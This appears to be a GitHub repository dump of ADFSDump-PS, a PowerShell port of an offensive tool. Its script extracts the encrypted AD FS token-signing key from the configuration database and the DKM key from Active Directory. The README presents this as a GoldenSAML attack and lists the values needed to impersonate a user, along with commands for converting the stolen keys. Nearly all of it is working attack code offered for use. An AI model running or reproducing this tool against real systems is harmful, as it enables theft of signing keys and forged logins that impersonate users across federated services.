├── CODEOWNERS ├── .github └── CODEOWNERS ├── README.md └── Golden.ps1 /CODEOWNERS: -------------------------------------------------------------------------------- 1 | * @zephrfish 2 | -------------------------------------------------------------------------------- /.github/CODEOWNERS: -------------------------------------------------------------------------------- 1 | * @zephrfish 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ADFSDump-PS 2 | I can't take credit for the hard work done in building [ADFSDump](https://github.com/mandiant/ADFSDump) but this is a PowerShell port of it using native functions. 3 | 4 | ## Pre-Reqs 5 | In certain conditions, you might need the SqlServer PS module: 6 | - Install-Module -Name SqlServer 7 | Note: Tests on an ADFS server installation with WID in October 2024 were possible without the SqlServer module. 8 | 9 | You'll also need the following values for the GoldenSAML attack: 10 | ``` 11 | User Email/UPN - User to be impersonated 12 | User ObjectGUID - Respective GUID for said user to be impersonated 13 | DKM Key - Gathered using this script 14 | TKS Key - Gathered using this script 15 | Domain - Domain as seen by STS/ADFS/O365 16 | ``` 17 | 18 | ## Usage 19 | To execute this you'll need to be running in the context of the ADFS Service account and on the server where ADFS Lives. 20 | 21 | ``` 22 | .\Golden.ps1 23 | Encrypted Token Signing Key: 24 | Certificate value: 25 | Store location value: 26 | Store name value: 27 | DKM Key: 28 | Domain is: example.zsec.uk 29 | ``` 30 | 31 | ![image](https://github.com/ZephrFish/ADFSDump-PS/assets/5783068/9594365d-918d-4be5-b44e-ea9ac1e04a35) 32 | 33 | 34 | If you want to do GoldenSAML, you'll need to do our conversion in the final few steps. Once you've got both the encrypted blob and the DKM key from the script, you'll need to run the following to convert them: 35 | - `cat TKSKey.txt | base64 -d > TKSKey.bin` 36 | - `cat DKM.txt | tr -d "-" | xxd -r -p > DKM.bin` 37 | 38 | I'll link these two together later but save the DKM to DKM.txt and the encrytped b64 blob to TKSKey.txt, the PS will do the rest :). 39 | 40 | For doing the same with PowerShell: 41 | ```powershell 42 | #TKSKey: 43 | [IO.File]::WriteAllBytes(".bin", [Convert]::FromBase64String([IO.File]::ReadAllText(".txt"))) 44 | #DKMKey: 45 | $content = Get-Content ".txt" 46 | $cleanedContent = $content -replace "-" 47 | $byteArray = for ($i = 0; $i -lt $cleanedContent.Length; $i += 2) { 48 | [Convert]::ToByte($cleanedContent.Substring($i, 2), 16) 49 | } 50 | [IO.File]::WriteAllBytes(".bin", $byteArray) 51 | ``` 52 | -------------------------------------------------------------------------------- /Golden.ps1: -------------------------------------------------------------------------------- 1 | # Function to read the DKMKey from LDAP 2 | function Get-DKMKey { 3 | param ( 4 | [string]$domain = ([adsi]"LDAP://RootDSE").defaultNamingContext, 5 | [string]$server = ([adsi]"LDAP://RootDSE").dnsHostName 6 | ) 7 | 8 | $domainComponents = $domain -split '\.' 9 | $dcString = ($domainComponents | ForEach-Object { "$_" }) -join ',' 10 | 11 | $searchBase = "LDAP://CN=ADFS,CN=Microsoft,CN=Program Data,$dcString" 12 | 13 | try { 14 | $searcher = New-Object DirectoryServices.DirectorySearcher 15 | $searcher.SearchRoot = [ADSI]$searchBase 16 | $searcher.Filter = '(&(objectClass=contact)(!(name=CryptoPolicy)))' 17 | $searcher.PropertiesToLoad.Add("thumbnailPhoto") | Out-Null 18 | 19 | $result = $searcher.FindOne() 20 | 21 | if ($result -and $result.Properties["thumbnailPhoto"]) { 22 | $key = $result.Properties["thumbnailPhoto"][0] 23 | $keyString = [System.BitConverter]::ToString($key) 24 | Write-Output "DKM Key: $keyString" 25 | Write-Output "Domain is: $domain" 26 | } else { 27 | Write-Output "DKM Key not found." 28 | } 29 | } catch { 30 | Write-Output "Error: $_" 31 | } 32 | } 33 | 34 | 35 | if (-not (Get-Module -ListAvailable -Name SqlServer)) { 36 | Install-Module -Name SqlServer -Force -AllowClobber 37 | } 38 | Import-Module SqlServer 39 | 40 | 41 | $WidConnectionString = "Data Source=np:\\.\pipe\microsoft##wid\tsql\query;Integrated Security=True" 42 | $WidConnectionStringLegacy = "Data Source=np:\\.\pipe\MSSQL$MICROSOFT##SSEE\sql\query" 43 | $ReadEncryptedPfxQuery = "SELECT ServiceSettingsData FROM {0}.IdentityServerPolicy.ServiceSettings" 44 | $ReadScopePolicies = "SELECT SCOPES.ScopeId, SCOPES.Name, SCOPES.WSFederationPassiveEndpoint, SCOPES.Enabled, SCOPES.SignatureAlgorithm, SCOPES.EntityId, SCOPES.EncryptionCertificate, SCOPES.MustEncryptNameId, SCOPES.SamlResponseSignatureType, SCOPES.ParameterInterface, SAML.Binding, SAML.Location, POLICYTEMPLATE.name, POLICYTEMPLATE.PolicyMetadata, POLICYTEMPLATE.InterfaceVersion, SCOPEIDS.IdentityData FROM {0}.IdentityServerPolicy.Scopes SCOPES LEFT OUTER JOIN {0}.IdentityServerPolicy.ScopeAssertionConsumerServices SAML ON SCOPES.ScopeId = SAML.ScopeId LEFT OUTER JOIN {0}.IdentityServerPolicy.PolicyTemplates POLICYTEMPLATE ON SCOPES.PolicyTemplateId = POLICYTEMPLATE.PolicyTemplateId LEFT OUTER JOIN {0}.IdentityServerPolicy.ScopeIdentities SCOPEIDS ON SCOPES.ScopeId = SCOPEIDS.ScopeId" 45 | $ReadScopePoliciesLegacy = "SELECT SCOPES.ScopeId, SCOPES.Name, SCOPES.WSFederationPassiveEndpoint, SCOPES.Enabled, SCOPES.SignatureAlgorithm, SCOPES.EntityId, SCOPES.EncryptionCertificate, SCOPES.MustEncryptNameId, SCOPES.SamlResponseSignatureType, SAML.Binding, SAML.Location, SCOPEIDS.IdentityData FROM {0}.IdentityServerPolicy.Scopes SCOPES LEFT OUTER JOIN {0}.IdentityServerPolicy.ScopeAssertionConsumerServices SAML ON SCOPES.ScopeId = SAML.ScopeId LEFT OUTER JOIN {0}.IdentityServerPolicy.ScopeIdentities SCOPEIDS ON SCOPES.ScopeId = SCOPEIDS.ScopeId" 46 | $ReadRules = "SELECT SCOPE.ScopeId, SCOPE.name, POLICIES.PolicyData, POLICIES.PolicyType, POLICIES.PolicyUsage FROM {0}.IdentityServerPolicy.Scopes SCOPE INNER JOIN {0}.IdentityServerPolicy.ScopePolicies SCOPEPOLICIES ON SCOPE.ScopeId = SCOPEPOLICIES.ScopeId INNER JOIN {0}.IdentityServerPolicy.Policies POLICIES ON SCOPEPOLICIES.PolicyId = POLICIES.PolicyId" 47 | $ReadDatabases = "SELECT name FROM sys.databases" 48 | $AdfsConfigTable = "AdfsConfiguration" 49 | $Adfs2012R2 = "AdfsConfiguration" 50 | $Adfs2016 = "AdfsConfigurationV3" 51 | $Adfs2019 = "AdfsConfigurationV4" 52 | 53 | # Function to get AD FS version 54 | function Get-AdfsVersion { 55 | param ( 56 | [System.Data.SqlClient.SqlConnection]$conn 57 | ) 58 | $cmd = New-Object System.Data.SqlClient.SqlCommand($ReadDatabases, $conn) 59 | $reader = $cmd.ExecuteReader() 60 | while ($reader.Read()) { 61 | $dbName = $reader["name"] 62 | if ($dbName -like "*$AdfsConfigTable*") { 63 | $reader.Close() 64 | return $dbName 65 | } 66 | } 67 | $reader.Close() 68 | return $null 69 | } 70 | 71 | # Function to read encrypted PFX 72 | function Read-EncryptedPfx { 73 | param ( 74 | [string]$dbName, 75 | [System.Data.SqlClient.SqlConnection]$conn 76 | ) 77 | $query = $ReadEncryptedPfxQuery -f $dbName 78 | $cmd = New-Object System.Data.SqlClient.SqlCommand($query, $conn) 79 | $reader = $cmd.ExecuteReader() 80 | while ($reader.Read()) { 81 | $xmlString = $reader["ServiceSettingsData"] 82 | $xmlDocument = New-Object System.Xml.XmlDocument 83 | $xmlDocument.LoadXml($xmlString) 84 | $root = $xmlDocument.DocumentElement 85 | $signingToken = $root.GetElementsByTagName("SigningToken")[0] 86 | if ($signingToken) { 87 | $encryptedPfx = $signingToken.GetElementsByTagName("EncryptedPfx")[0].InnerText 88 | $findValue = $signingToken.GetElementsByTagName("FindValue")[0].InnerText 89 | $storeLocationValue = $signingToken.GetElementsByTagName("StoreLocationValue")[0].InnerText 90 | $storeNameValue = $signingToken.GetElementsByTagName("StoreNameValue")[0].InnerText 91 | Write-Output "Encrypted Token Signing Key: $encryptedPfx" 92 | Write-Output "Certificate value: $findValue" 93 | Write-Output "Store location value: $storeLocationValue" 94 | Write-Output "Store name value: $storeNameValue" 95 | } 96 | } 97 | $reader.Close() 98 | } 99 | 100 | # Function to read scope policies 101 | function Read-ScopePolicies { 102 | param ( 103 | [string]$dbName, 104 | [System.Data.SqlClient.SqlConnection]$conn 105 | ) 106 | $query = if ($dbName -eq $Adfs2012R2) { $ReadScopePoliciesLegacy -f $dbName } else { $ReadScopePolicies -f $dbName } 107 | $cmd = New-Object System.Data.SqlClient.SqlCommand($query, $conn) 108 | $reader = $cmd.ExecuteReader() 109 | while ($reader.Read()) { 110 | $scopeId = $reader["ScopeId"] 111 | $name = $reader["Name"] 112 | if ($name -notmatch "SelfScope|ProxyTrustProvisionRelyingParty|Device Registration Service|UserInfo|PRTUpdateRp|Windows Hello - Certificate Provisioning Service|urn:AppProxy:com") { 113 | $rp = @{ 114 | Name = $name 115 | Id = $scopeId 116 | IsEnabled = $reader["Enabled"] 117 | SignatureAlgorithm = $reader["SignatureAlgorithm"] 118 | Identity = $reader["IdentityData"] 119 | FederationEndpoint = if ($reader["WSFederationPassiveEndpoint"]) { $reader["WSFederationPassiveEndpoint"] } else { $reader["Location"] } 120 | EncryptionCert = $reader["EncryptionCertificate"] 121 | SamlResponseSignatureType = $reader["SamlResponseSignatureType"] 122 | IsSaml = $reader["Location"] -ne $null 123 | IsWsFed = $reader["WSFederationPassiveEndpoint"] -ne $null 124 | } 125 | Write-Output $rp 126 | } 127 | } 128 | $reader.Close() 129 | } 130 | 131 | # Function to read rules 132 | function Read-Rules { 133 | param ( 134 | [string]$dbName, 135 | [System.Data.SqlClient.SqlConnection]$conn, 136 | [hashtable]$rps 137 | ) 138 | $query = $ReadRules -f $dbName 139 | $cmd = New-Object System.Data.SqlClient.SqlCommand($query, $conn) 140 | $reader = $cmd.ExecuteReader() 141 | while ($reader.Read()) { 142 | $scopeId = $reader["ScopeId"] 143 | $rule = $reader["PolicyData"] 144 | if ($rps.ContainsKey($scopeId) -and $rule) { 145 | $policyType = [int]$reader["PolicyUsage"] 146 | switch ($policyType) { 147 | 0 { $rps[$scopeId]["StrongAuthRules"] = $rule } 148 | 1 { $rps[$scopeId]["OnBehalfAuthRules"] = $rule } 149 | 2 { $rps[$scopeId]["AuthRules"] = $rule } 150 | 3 { $rps[$scopeId]["IssuanceRules"] = $rule } 151 | } 152 | } 153 | } 154 | $reader.Close() 155 | } 156 | 157 | # Main Function 158 | function Read-ConfigurationDb { 159 | param ( 160 | [hashtable]$arguments 161 | ) 162 | $osVersion = [System.Environment]::OSVersion.Version 163 | $connectionString = if (($osVersion.Major -eq 6 -and $osVersion.Minor -le 1) -or $osVersion.Major -lt 6) { $WidConnectionStringLegacy } else { $WidConnectionString } 164 | if ($arguments.ContainsKey("/database")) { $connectionString = $arguments["/database"] } 165 | try { 166 | $conn = New-Object System.Data.SqlClient.SqlConnection($connectionString) 167 | $conn.Open() 168 | } catch { 169 | Write-Output "Error connecting to database using connection string: $connectionString" 170 | return $null 171 | } 172 | $dbName = Get-AdfsVersion -conn $conn 173 | if (-not $dbName) { 174 | Write-Output "Error identifying AD FS version" 175 | return $null 176 | } 177 | Read-EncryptedPfx -dbName $dbName -conn $conn 178 | $rps = @{} 179 | Read-ScopePolicies -dbName $dbName -conn $conn | ForEach-Object { $rps[$_.Id] = $_ } 180 | Read-Rules -dbName $dbName -conn $conn -rps $rps 181 | $conn.Close() 182 | return $rps.Values 183 | } 184 | 185 | 186 | # Dump out the values we want 187 | $arguments = @{} 188 | $rps = Read-ConfigurationDb -arguments $arguments 189 | $rps | ForEach-Object { Write-Output $_ } 190 | 191 | Get-DKMKey 192 | 193 | --------------------------------------------------------------------------------